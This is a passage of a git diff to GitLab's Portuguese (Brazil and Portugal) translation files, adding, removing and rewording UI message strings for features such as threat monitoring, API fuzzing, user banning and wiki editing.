msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr "Erro ao redefinir token do email."
@@ -32585,8 +33255,11 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
-msgstr "Esse aplicativo foi criado por %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
+msgstr ""
msgid "This application will be able to:"
msgstr "Esse aplicativo será capaz de:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr "Este campo é obrigatório."
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr "Quinta-feira"
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr "Acompanhamento de tempo"
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "Tempo até a primeira solicitação de incorporação"
@@ -33417,9 +34087,6 @@ msgstr[1] "mins"
msgid "Time|s"
msgstr "s"
-msgid "Tip:"
-msgstr "Dica:"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr "Para mover ou copiar todo um projeto do GitLab de outra instalação do
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,15 +34318,15 @@ msgstr "Alternar navegação"
msgid "Toggle project select"
msgstr ""
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "Ativar/Desativar barra lateral"
msgid "Toggle the Performance Bar"
msgstr ""
-msgid "Toggle this dialog"
-msgstr ""
-
msgid "Toggle thread"
msgstr ""
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr "Enviar arquivo"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr "Utilizar configuração de notificação global"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr "Utilizado pelos membros para entrar em seu grupo no GitLab"
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr "Usuários"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr "Detectamos spam potencial no %{humanized_resource_name}. Por favor, reso
msgid "We don't have enough data to show this stage."
msgstr "Esta etapa não possui dados suficientes para exibição."
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr "IDE Web"
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr "Webhooks permitem que você acione um URL se, por exemplo, um novo código for feito push ou se uma nova issue for criada. Você pode configurar os webhooks para interagir com eventos específicos como pushes, issues ou merge requests. Webhooks de grupos serão aplicados para todos os projetos em um grupo, permitindo que você padronize o funcionamento em todo o grupo."
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Wiki"
@@ -36278,6 +36981,12 @@ msgstr "Excluir página %{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "Escreva seu conteúdo ou arraste arquivos aqui…"
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr "Você não pode escrever numa instância secundária de somente leitura
msgid "You cannot write to this read-only GitLab instance."
msgstr "Você não pode escrever nesta instância somente-leitura do GitLab."
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr "Seus aplicativos (%{size})"
msgid "Your authorized applications"
msgstr "Seus aplicativos autorizados"
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr "Seu comentário não pôde ser atualizado! Por favor, verifique sua cone
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr "entre outras coisas"
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr "https://seu-servidor-do-bitbucket"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] "merge request"
msgstr[1] "merge requests"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr "Permite commits de membros que podem fazer merge ao branch de destino"
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,12 +38991,9 @@ msgstr "Aprovado por"
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgid "mrWidget|Cancel"
msgstr ""
-msgid "mrWidget|Cancel automatic merge"
-msgstr "Cancelar merge automático"
-
msgid "mrWidget|Check out branch"
msgstr "Checkout branch"
@@ -38267,9 +39033,6 @@ msgstr "Falha ao carregar estatísticas de deploy"
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr "Merge fast-forward não é possível. Para fazer merge, primeiramente faça rebase local."
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Se o branch %{missingBranchName} existir em seu repositório local, você poderá fazer merge request manualmente usando a linha de comando"
@@ -38285,12 +39048,18 @@ msgstr "Carregando estatísticas de implantação"
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "Menções"
msgid "mrWidget|Merge"
msgstr "Fazer merge"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Falha ao fazer merge."
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "este documento"
diff --git a/locale/pt_PT/gitlab.po b/locale/pt_PT/gitlab.po
index 77692f0f553..85b8a57492e 100644
--- a/locale/pt_PT/gitlab.po
+++ b/locale/pt_PT/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pt-PT\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:24\n"
+"PO-Revision-Date: 2021-06-01 20:46\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d camada"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}Grupos%{group_docs_link_end} permitem-te gerir e colaborar em vários projetos. Os membros de um grupo têm acesso a todos os teus projetos."
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}Lê mais%{link_end} sobre as permissões de função"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr "%{state} épicos"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "Página de perfil de %{user_name}"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr "'%{source}' não é uma fonte de importação"
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "Uma conta Vamos Criptografar será configurada para esta instalação no GitLab ao usar o teu endereço de email. Irás receber emails de aviso de expiração de certificados."
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr "Um utilizador apagado"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "Um projeto é onde armazenas os teus ficheiros (repositório), planeias o teu trabalho (problemas), e publicas a tua documentação (wiki), %{among_other_things_link}."
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "Adicionar uma lista de marcadores"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "Ãrea de Administração"
@@ -2330,9 +2350,6 @@ msgstr "Variáveis de ambiente são protegidas por padrão"
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr "Nenhum pipeline necessário"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "Configuração de pipeline necessária"
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr "Define uma %{link_start}configuração de pipeline%{link_end} automática incluída em toda a instância. Esta configuração de pipeline será executada após a Configurações do próprio projeto."
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Especifica um domínio para utilizar por padrão para cada projeto, Revisão Automática de Aplicações e Implementação Automática de fases."
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr "A2F Desativada"
msgid "AdminUsers|2FA Enabled"
msgstr "A2F Ativada"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr "Não é possível desbloquear utilizadores bloqueados em LDAP"
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr "És tu!"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr "Para confirmar, digita %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Para confirmar, digita %{username}"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
